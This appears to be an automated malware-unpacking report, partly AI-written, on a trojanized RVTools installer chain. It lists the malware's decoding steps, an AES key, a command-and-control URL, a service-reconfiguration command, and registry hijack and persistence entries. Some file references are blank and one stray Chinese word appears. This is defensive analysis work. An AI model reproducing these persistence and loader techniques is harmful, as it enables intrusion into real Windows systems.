unpack#5

Malware unpacking · 3594 objects · 15 static reports · generated 2026-10-16 17:07:15 UTC

Task outcome

6 unpacked objects

AI report excerpt

The submitted sample unpack#5 (, SHA256 ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4, 19,697,664 bytes) is a **Windows MSI installer (CFB/MSI)**伪装 as "RVTools System 4.7.0.2" (author "RVtools System", comment "Provides system services for Windows processes"). The MSI metadata reveals it is built with the commercial EXEMSI MSI Wrapper 25.0.54.0 (properties BZ.WRAPPERVERSION, BZ.BASENAME=start.exe, BZ.FIXED_INSTALL_ARGUMENTS=RVtools-4.7.0.2.exe), i.e. a wrapper around an inner executable chain — a classic trojanized "RVTools" lure. The MSI contains two binary streams: the wrapped setup program and the EXEMSI custom-action DLL.

Read full analysis

Kesakode detections

No Kesakode detections recorded.

Unpacked objects

RVtools-4.7.0.2.exe

ID 65
File type PE
Category PROGRAM
Architecture X86
Size 18.5 MiB
Kesakode No verdict available
SHA256 d2c57c58e358b1707e6f39bbfe72532e9cc4a169345bb35bba8b9d927cb6fd6d

start.exe

ID 66
File type PE
Category PROGRAM
Architecture DOTNET
Size 6.0 KiB
Kesakode No verdict available
SHA256 3685368e63a3c892e425eea24a48bc6abf5ff84418bd2f42f35119f87b4d838f

Unicode.Data.Automation.dll

ID 3901
File type PE
Category PROGRAM
Architecture DOTNET
Size 7.0 MiB
Kesakode No verdict available
SHA256 d4e7df39573db6e8214ebc5fb37294d5ccf99b17435fc291ebe82fd4c26e1d08

UsbService86.exe

ID 3902
File type PE
Category PROGRAM
Architecture X64
Size 99.3 KiB
Kesakode No verdict available
SHA256 3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f

LICENSE1.txt

ID 6652
File type PYC
Category PROGRAM
Architecture PY312
Size 129.3 KiB
Kesakode No verdict available
SHA256 dca22262d20af2d86fdb7fde57f39d4660066db53ade9ddb03980a7a2fdf9e42

stage4_python_stager.py

ID 6654
File type text/utf8
Category DOCUMENT
Architecture NONE
Size 86.8 KiB
Kesakode No verdict available
SHA256 9c1f13d716846fd47ede42b73ce5ab7b8f4d25d04bbb8f2d643f9603b59f0e41
Unpacking report

File description

The submitted sample unpack#5 (, SHA256 ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4, 19,697,664 bytes) is a **Windows MSI installer (CFB/MSI)**伪装 as "RVTools System 4.7.0.2" (author "RVtools System", comment "Provides system services for Windows processes"). The MSI metadata reveals it is built with the commercial EXEMSI MSI Wrapper 25.0.54.0 (properties BZ.WRAPPERVERSION, BZ.BASENAME=start.exe, BZ.FIXED_INSTALL_ARGUMENTS=RVtools-4.7.0.2.exe), i.e. a wrapper around an inner executable chain — a classic trojanized "RVTools" lure. The MSI contains two binary streams: the wrapped setup program and the EXEMSI custom-action DLL.

Chain recovered (top → bottom): MSI → CAB → NSIS installer → Python 3.12/pythonnet stager → PowerShell → AES-protected C# stage (final stage not decrypted, see blockers).

Container handling

  1. MSI tables of decompiled to (#0..#3504). The CustomAction/Property tables show the wrapper executes bz.CustomActionDll (_InstallMain@4, _InstallFinish*) and carries Binary.bz.WrappedSetupProgram.
  2. (/Binary.bz.CustomActionDll, 212,992 B, PE32) is the genuine EXEMSI MsiCustomActions.dll (PDB C:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb) — ordinary library component, no concealed stage.
  3. (/Binary.bz.WrappedSetupProgram, 19,427,917 B) is a CAB containing two execution-bearing members; both analysed (ordinary extraction):
    • RVtools-4.7.0.2.exe (19,416,923 B) — the malicious NSIS loader.
    • start.exe (6,144 B) — tiny .NET launcher masquerading as "Host Process for Windows Services" (Microsoft version info, false).
  4. has a 19,374,939-byte overlay at #a400 (signature NullsoftInst at #a408) — an NSIS compressed data block, carved and decompressed (genuine unpacking) into , whose virtual files were analysed. Key members:
    • #Setup → (NSIS script, decompiled to ): installs decoy rvtools.msi via msiexec, Sleep 240000, extracts a full Python 3.12 + pythonnet runtime twice (SystemWEB\SystemInfo, AppUpdate\SystemInfo), reconfigures MSDTC (sc config msdtc start= demand, obj= "LocalSystem"), sets hijack HKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI\OracleOciLibPath = C:\ProgramData\SysIco, sets Run key UpdateWINPY → LICENSE.txt, and executes LICENSE1.txt via nsExec.
    • LICENSE1.txt → (Python 3.12 bytecode, disguised as a text file) — main payload stage.
    • LICENSE.txt → (PYC 312) — junk-only filler (100 no-op functions), a decoy, not returned.
    • Unicode.Data.Automation.dll → (7,294,464 B, .NET) — impersonates System.Management.Automation.dll (PowerShell engine) but is renamed; loaded at runtime via pythonnet.
    • UsbService86.exe → (101,656 B, x64) — Python Software Foundation-signed pythonw.exe 3.12.3, renamed.
    • Cert.txt → (20 B) — install-marker file checked by the NSIS script.
    • rvtools4.7.1.msi, Python runtime, Python.Runtime.dll, ClrLoader.dll, nsExec.dll — legitimate runtime/decoy components (not individually returned; the MSI decoy was not further analysed within budget).

Packing evidence

  • : PE with only ~40 KB of sections and a 19,374,939-byte overlay at #a400, entropy 226/255; Yara NsisInstaller (reliability 90) + nsis_overlay_data, capa packaged as a NSIS installer. The overlay is the NSIS packed/compressed data block — genuine packing, resolved via carving + decompression ().
  • : entropy 226/255 due to CAB compression of the wrapped program (transport compression, not malware packing).
  • (LICENSE1.txt): PYC312 with anomalies VeryHugeString, HugeStringHexa, BigStringHiScore — a 75,040-char hex blob at #4034 (marshal header C1 20 25 01 00 at #402f, length 0x12520). The module is padded with ~100 identical junk functions (func_0…func_99) to hide the real logic interleaved in the module code at 0x2a.
  • (recovered Python): contains a further AES-protected PowerShell SecureString blob (unresolved stage).

Encryption/packing methods and keys found

Stage 3 → 4 (fully recovered, genuine unpacking): LICENSE1.txt () module code at 0x2a (ref 0xe4) performs, per its own bytecode:

  1. mttrvdgn = hex blob at #4034 (75,040 ASCII hex chars)
  2. hoqqmixf = bytes.fromhex(mttrvdgn)
  3. tsirwpqh = bytes(b ^ evzgtgqe for b in hoqqmixf)[::-1] — XOR with byte 0x50 (80) then reverse (genexpr at 0x1a163 confirms yield b ^ evzgtgqe)
  4. jtzblylx = zlib.decompress(base64.b64decode(tsirwpqh))
  5. exec(jtzblylx.decode("utf-8"))

Applied precisely with Malcat transforms (hex decode → xor key 0x50 → reverse → base64 decode → zlib decompress), yielding the Python stager (88,838 B, SHA256 9c1f13d716846fd47ede42b73ce5ab7b8f4d25d04bbb8f2d643f9603b59f0e41).

Stage 4 (recovered source, next stage not decrypted): loads Unicode.Data.Automation.dll via pythonnet (clr.AddReference), gets System.Management.Automation.PowerShell, and runs a script that:

  • sleeps 15 s,
  • defines AES-256 key [Byte[]]$DodJfh19T246 = 66,0,58,137,46,70,158,0,245,50,191,118,250,47,188,105,109,232,147,26,220,54,92,37,60,155,244,91,98,194,204,68 = hex 42003A892E469E00F532BF76FA2FBC696DE8931ADC365C253C9BF45B62C2CC44,
  • holds $gc2wN50fD8FJ — a PowerShell SecureString blob with magic prefix 76492d1116743f0423413b16050a5345 + base64 payload,
  • decrypts it via convertto-securestring -Key → SecureStringToBSTR → PtrToStringAuto and feeds the plaintext C# source to Add-Type -Language CSharp (references System.Web.Extensions.dll, System.Windows.Forms.dll),
  • invokes obfuscated method [rOWnsaP.iwkNFXvOiw]::mmQlMgRaooYe(<url>, "kgZgwUMuMaoonJhCKrdLzujD", "35000") with C2-style URL https://mud.alert-router-b3a.workers.dev/ (Cloudflare Workers). Persistence/hijack IOCs from the NSIS script: Run key UpdateWINPY, OracleOciLibPath=C:\ProgramData\SysIco.

Distinguishing extraction vs unpacking: MSI/CAB/NSIS member extraction and analyse_virtual_file calls (e.g. , , , , , ) are ordinary extraction (NSIS decompression of counts as genuine unpacking of the packed overlay). Only is a genuinely unpacked/decoded payload recovered by applying the malware's exact transform chain.

Blockers / limitations (analysis budget exhausted):

  • The AES-protected SecureString blob in (final C# stage) was not decrypted; the exact SecureString container format (IV placement) and AES-CBC parameters were not verified with transforms before the budget ended. No key/IV beyond the 32-byte key above is invented; the recovered key, the second argument string kgZgwUMuMaoonJhCKrdLzujD, port 35000, and the workers.dev URL are the concrete recovered secrets.
  • (Unicode.Data.Automation.dll) was identified by metadata/role but not fully vetted (genuine renamed System.Management.Automation.dll vs. trojanized build is unconfirmed; its debug timestamp 2058-08-01 is anomalous).
  • rvtools4.7.1.msi (decoy) and the Python/pythonnet runtime files were not individually analysed.
  • is junk-only filler and is deliberately excluded from results.